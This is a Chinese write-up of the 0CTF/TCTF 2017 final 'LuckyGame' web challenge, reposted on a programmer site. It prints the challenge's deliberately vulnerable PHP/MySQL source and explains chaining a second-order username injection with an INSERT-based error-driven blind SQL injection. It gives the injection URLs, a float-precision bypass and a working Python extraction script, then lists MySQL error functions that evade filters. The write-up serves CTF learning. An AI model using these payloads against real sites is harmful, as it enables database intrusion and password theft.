内容简介:0CTF(TCTF)-2017-final Web LuckyGame Writeup
觉得这道题非常有意思,质量很高,当时比赛期间没有做出来,所以赛后复现了一下。这道题其实考点都很普通,但是组合起来难度非常大,个人认为是一道非常棒的题目。
源码
题目描述如下:
题目用的 php7 和 mysql5.7 。 题目的源码很短,两百多行只有,直接贴出来源码如下:
<?php session_start(); ?>
<!DOCTYPE html>
<html>
<head>
<title>Lucky Game</title>
<meta charset="utf-8">
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Raleway:200">
<link href="https://fonts.googleapis.com/css?family=Noto+Sans" rel="stylesheet">
<link rel="stylesheet" href="https://unpkg.com/purecss@0.6.2/build/pure-min.css" integrity="sha384-UQiGfs9ICog+LwheBSRCt1o5cbyKIHbwjWscjemyBMT9YCUMZffs6UqUTd0hObXD" crossorigin="anonymous">
<link rel="stylesheet" href="https://purecss.io/combo/1.18.13?/css/main-grid.css&/css/main.css&/css/menus.css&/css/rainbow/baby-blue.css">
<style>
.header{font-family: 'Noto Sans', sans-serif;}
.header h1{color: rgb(202, 60, 60);}
.button-error {background: rgb(202, 60, 60);}
.button-success {background: rgb(28, 184, 65);}
</style>
</head>
<body>
<div id="layout">
<div id="menu">
<div class="pure-menu">
<a class="pure-menu-heading" href="#">TCTF</a>
</div>
</div>
<div id="main">
<div class="header">
<h1>幸运数字</h1>
<h2>Shall we play a "lucky" game?</h2>
</div>
<div class="content">
<?php
if (!$link=mysqli_connect('localhost', "root", "1")) die('Connection error');
if (!mysqli_select_db($link,'test')) die('Database error');
$tbls = "SELECT group_concat(table_name SEPARATOR '|') FROM information_schema.tables WHERE table_schema=database()";
$cols = "SELECT group_concat(column_name SEPARATOR '|') FROM information_schema.columns WHERE table_schema=database()";
$query = mysqli_query($link,$tbls,MYSQLI_USE_RESULT);
$tbls_name = mysqli_fetch_array($query)[0];
mysqli_free_result($query);
$query = mysqli_query($link,$cols,MYSQLI_USE_RESULT);
$cols_name = mysqli_fetch_array($query)[0];
mysqli_free_result($query);
# CREATE TABLE users(id int NOT NULL,username varchar(24),password varchar(32),points int,UNIQUE KEY(username));
# INSERT INTO users VALUES(1,"admin",md5(password_of_admin),10);
# CREATE TABLE logs(id int NOT NULL,log varchar(64));
foreach($_POST as $k => $v){
if(!empty($v) && is_string($v))
$_POST[$k] = trim(mysqli_escape_string($link,$v));
else
unset($_POST[$k]);
}
foreach($_GET as $k => $v){
if(!empty($v) && is_string($v))
$_GET[$k] = trim(mysqli_escape_string($link,$v));
else
unset($_GET[$k]);
}
function filter($s){
global $tbls_name,$cols_name;
$blacklist = "sleep|benchmark|order|limit|exp|extract|xml|floor|rand|count|".$tbls_name.'|'.$cols_name; # Ninjas need nothing
if(preg_match("/{$blacklist}/is",$s,$a)) die($blacklist."\n".$a[0]."\n".$s."\n"."<aside>0ops!</aside>");
return $s;
}
function register($username,$password){
global $link;
$q = sprintf("INSERT INTO users VALUES (id+1,'%s',md5('%s'),10)",
filter($username),filter($password));
if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
return TRUE;
}
function login($username,$password){
global $link;
$q = sprintf("SELECT * FROM users WHERE username = '%s' AND password = md5('%s')",
filter($username),filter($password));
if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
$result = mysqli_fetch_array($query);
mysqli_free_result($query);
if(count($result)>0){
$_SESSION['id'] = $result['id'];
$_SESSION['user'] = $result['username'];
return TRUE;
} else {
unset($_SESSION['id'],$_SESSION['user']);
return FALSE;
}
}
function user_log($s){
global $link;
$q = sprintf("INSERT INTO logs VALUES (id+1,'%s')",
filter($_SESSION['id'].'|'.$s));
#echo $q;
if(!$query = mysqli_query($link,$q)) return FALSE;
return TRUE;
}
function update_point($p){
global $link;
$q = sprintf("UPDATE users SET points=points+%d WHERE id = %d",
$p,$_SESSION['id']);
if(!$query = mysqli_query($link,$q)) return FALSE;
if(!user_log("Update ".$p)) return FALSE;
return TRUE;
}
function my_point(){
global $link;
$q = sprintf("SELECT * FROM users WHERE username = '%s'",
filter($_SESSION['user']));
//echo $q;
if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
$result = mysqli_fetch_array($query);
mysqli_free_result($query);
return (int)($result['points']);
}
switch(@$_GET['action']){
case 'register':
if(!empty($_POST['user']) && !empty($_POST['pass']))
if(!register($_POST['user'],$_POST['pass']))
die("<aside>Something went wrong!</aside>");
break;
case 'login':
if(!empty($_POST['user']) && !empty($_POST['pass']))
login($_POST['user'],$_POST['pass']);
break;
case 'logout':
unset($_SESSION['user'],$_SESSION['id']);
break;
default:
break;
}
if(empty($_SESSION['user'])){
echo <<<EOF
<form action="?action=register" method=POST class="pure-form pure-form-stacked">
<fieldset>
<input type=text name=user required placeholder="Username" />
<input type=password name=pass required placeholder="Password" />
<button type="submit" class="pure-button pure-button-primary">Register</button>
</fieldset>
</form>
<form action="?action=login" method=POST class="pure-form pure-form-stacked">
<fieldset>
<input type=text name=user required placeholder="Username" />
<input type=password name=pass required placeholder="Password" />
<button type="submit" class="pure-button pure-button-primary button-success">Login</button>
</fieldset>
</form>
EOF;
die();
}
$points = my_point();
if($points == 1337){
user_log('winner');
echo "<h3>Well played, we will give you a reward soon.</h3>";
}
#var_dump(mysqli_fetch_array(mysqli_query($link,"select @c",MYSQLI_USE_RESULT)));
echo <<<EOF
<h1>Hello <a href='?action=logout'>{$_SESSION['user']}</a></h1>
<h2>You got {$points} points</h2>
<form method=GET class="grid-panel pure-form-aligned pure-form">
<div class="bet-control pure-control-group">
<label for="bet-input">
Your bet
</label>
<input name="bet" id="bet-input" data-content="bet-input"
type="number" min="0" max="16" value=1>
</div>
<div class="guess-control pure-control-group">
<label for="guess-input">
Your guess
</label>
<input name="guess" id="guess-input" data-content='guess-input'
type="number" min="0" value=1>
</div>
<button type="submit" class="pure-button pure-button-primary button-error">Place</button>
</form>
EOF;
if(!empty($_REQUEST['bet']) && (int)$_REQUEST['bet'] > 0 && !empty($_REQUEST['guess']) && (int)$_REQUEST['guess'] > 0){
echo "<aside>";
if($_REQUEST['bet'] > $points) die("What?! you're cheater!");
$number = rand()%8;
echo "It is...<h1 style='color:#fff'>".$number."</h2><br />";
if( $number == $_REQUEST['guess'] ){
echo "You won!";
if(!update_point($_REQUEST['bet']))
return;
} else {
echo "You lost :(";
if(!update_point(-$_REQUEST['bet']))
return;
}
echo "</aside>";
}
mysqli_close($link);
?>
</div>
</div>
</div>
</body>
</html>
寻找注入点
由于源代码比较少,而且与数据库的交互语句就那么几个地方,通读之后应该能够比较容易就能找到两个注入点
注入点1
用户注册的时候如下:
密码被MD5了所以没办法搞,用户名被过滤了不能直接注入。 但是我们看在登陆的时候会调用 my_point() 函数
函数直接把 session 里面的 user 带入查询,但是这个 session 的 user 来源直接是数据库数据。在 login 函数里面赋的值。所以 username 存在一个二次注入。 尝试一下。如下:
登陆之后发现我们的分数变成了999分
但是问题来了,我们观察代码中关于数据库结构的注释可以知道username的最长为24。
所以这里这个点很难直接去动密码的手。
注入点2
总共就几个数据库交互点。我们看下面这部分代码
function user_log($s){
global $link;
$q = sprintf("INSERT INTO logs VALUES (id+1,'%s')",
filter($_SESSION['id'].'|'.$s));
echo $q;
if(!$query = mysqli_query($link,$q)) return FALSE;
return TRUE;
}
function update_point($p){
global $link;
$q = sprintf("UPDATE users SET points=points+%d WHERE id = %d",
$p,$_SESSION['id']);
//echo $q;
if(!$query = mysqli_query($link,$q)) return FALSE;
if(!user_log("Update ".$p)) return FALSE;
return TRUE;
}
首先看 update_point 函数,发现其中格式化的时候是 %d ,所以没法儿注入,但是发现它调用了 user_log 函数,而且直接把参数 $p 传递给了 user_log ,而 user_log 里面就是 insert 语句,而且格式化参数是 %s ,所以如果 update_point 的 $p 可控就有一个insert的注入。
我们看看哪儿调用了 update_point ,代码最后
if(!empty($_REQUEST['bet']) && (int)$_REQUEST['bet'] > 0 && !empty($_REQUEST['guess']) && (int)$_REQUEST['guess'] > 0){
echo "<aside>";
if($_REQUEST['bet'] > $points) die("What?! you're cheater!");
$number = rand()%8;
echo "It is...<h1 style='color:#fff'>".$number."</h2><br />";
if( $number == $_REQUEST['guess'] ){
echo "You won!";
if(!update_point($_REQUEST['bet']))
return;
} else {
echo "You lost :(";
if(!update_point(-$_REQUEST['bet']))
return;
}
echo "</aside>";
}
当赌赢了和输了都会调用,而且参数就是我们可控的,但是输了的时候在调用 update_point 会在我们的输入前面加上负号无法利用,所以赢了就可以。 但是我们还需要注意我们输入的 bet 要通过这个判断 if($_REQUEST['bet'] > $points) die("What?! you're cheater!"); ,这一点后续利用的时候再进行讨论。
分析
我们再分析构造利用之前,需要看看过滤情况。最开始有一个全局的过滤,但是全局过滤只过滤了 $_POST,$_GET ,而后续获取变量值的时候用的是 $_REQUEST ,所以最开始的全局过滤没用的。
所以来直接看看这个过滤代码。
function filter($s){
global $tbls_name,$cols_name;
$blacklist = "sleep|benchmark|order|limit|exp|extract|xml|floor|rand|count|".$tbls_name.'|'.$cols_name; # Ninjas need nothing
if(preg_match("/{$blacklist}/is",$s,$a)) die($blacklist."\n".$a[0]."\n".$s."\n"."<aside>0ops!</aside>");
return $s;
}
过滤了一些延迟函数,和一部分报错函数(注意题目 mysql 版本5.7,报错函数多得是,这点过滤根本不足为惧),还有最关键就是过滤了含表名列名的输入参数。这是最关键的。也就是说我们需要在不使用表名列名的情况下搞出管理员密码。
但是我们现在可以利用的两个注入点,一个被长度限制在24,所以单独依靠第一个username的二次注入是没办法直接搞定的。
另一个是insert语句,只能用盲注,而且时间函数被过滤了也就是只能用bool盲注。但是insert一般都是时间盲注,本身不存在bool盲注,但是题目帮我们设置好了。
function user_log($s){
global $link;
$q = sprintf("INSERT INTO logs VALUES (id+1,'%s')",
filter($_SESSION['id'].'|'.$s));
echo $q;
if(!$query = mysqli_query($link,$q)) return FALSE;
return TRUE;
}
看看这里,一旦这个语句执行没有返回,即执行报错,就会return一个false。而这样代码最后的
这部分html标签就会出不来,所以这个就是二分点。我们可以控制让它报错或是不报错,从而根据返回值来判断。
组合利用
由于无法在输入中使用含表名和列名的字符串,所以我们可以利用临时变量,这一点确实没有想到。 我们可以看到再最后才有一个关闭数据库连接。在登陆之后每次访问页面都会调用一次 my_point 函数,就是上面分析的第一个注入点的地方,所以我们在这里注册一个这样子的用户名 admin' into @a,@b,@c,@d# ,
这样每次访问页面就会将 user 中的admin那一列值存入四个临时变量,而此时我们可以去触发insert盲注来进行爆破,
我们利用的就是mysql中 and 的特性,先看下面的例子
mysql> select 1 from users where 1 and ST_LatFromGeoHash(version()); ERROR 1411 (HY000): Incorrect geohash value: '5.7.18-0ubuntu0.16.04.1' for function ST_LATFROMGEOHASH mysql> select 1 from users where 0 and ST_LatFromGeoHash(version()); Empty set (0.00 sec)
ST_LatFromGeoHash 是mysql5.7以上可以用于报错的函数。这里对于and的前后两个条件来说,如果前面的条件为0,那么它就不会执行后面的条件语句了。因为最后结果肯定是0,而前面如果是1就会执行后面的语句,所以我们可以通过这样子来控制insert 报错,一旦报错返回的html文档就是不完全的,所以可以根据这个判断结果。
例如我执行下述两个语句
http://127.0.0.1:7000/?guess=1&bet=1e-324' and( (substring(@c,1,1)>'z') and (ST_LatFromGeoHash(version())) )or' http://127.0.0.1:7000/?guess=1&bet=1e-324' and( (substring(@c,1,1)>'a') and (ST_LatFromGeoHash(version())) )or'
语句一返回如下:
语句二返回如下:
所以可以开始盲注了。
在这之前再看看我们前面的构造为啥是 1e-324 ,在上面分析过我们需要绕过
if($_REQUEST['bet'] > $points) die("What?! you're cheater!");
这个判断。 由于我们用户名的设置,所以我们 $point 是0,所以我们需要输入的值要小于0。 这里用了一个 php 精度的trick。e是科学计数法的表示,实际 1eX 代表 1*(10^X)
1e-1>0 1e-2>0 .... 1e-323>0 1e-324<0 1e-325<0 ....
所以我们就可以绕过这个判断。
poc
最后编写脚本如下:
import requests
r=requests.session()
url="http://127.0.0.1:7000/"
payload=url+"?guess=1&bet=1e-324' and((substring(@c,%d,1)>'%s')and(ST_LatFromGeoHash(version())))or'"
data={"user":"admin' into @a,@b,@c,@d#","pass":"1"}
r.post(url+"?action=login",data=data)
ans=""
for i in xrange(1,100):
start=1
end=128
while start<end:
mid=(start+end)/2
content=r.get(payload%(i,chr(mid))).content
while "You won!" not in content:
content=r.get(payload%(i,chr(mid))).content
if "</html>" in content:
end=mid
else:
start=mid+1
ans+=chr(start)
print ans
后记
复现的时候,我们需要注意,mysql5.7以上默认是开启了 STRICT_TRANS_TABLES ,而做这道题我们如果开启这个就没办法做了。
另外就是报错函数,除了上面我使用的以外,我们还可以选择很多其他报错函数也能绕过过滤。 下面是比较通用的,5.1以上就能用的:
geometrycollection() multipoint() polygon() multipolygon() linestring() multilinestring()
下面是5.7以上版本才有的
ST_LatFromGeoHash() ST_LongFromGeoHash() GTID_SUBSET() GTID_SUBTRACT() ST_PointFromGeoHash()
当然不一定要用这几个报错函数,也可以构造一些语句使insert报错也可以。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
python学习手册(原书第5版)
马克·卢茨 / 机械工业出版社 / 2018-10 / 219
如果你想动手编写高效、高质量并且很容易与其他语言和工具集成的代码,本书将快速地帮助你利用Python提高效率。本书基于Python专家的流程培训课程编写,内容通俗易懂。本书包含很多注释的例子和插图,以帮助你开始使用Python2.7和3.3。每章都包含关于Python语言的重要组成部分的一节课。本书主要内容:了解Python的主要内置对象类型,如数字、列表和字典;创建和处理对象的Python语句,......一起来看看 《python学习手册(原书第5版)》 这本书的介绍吧!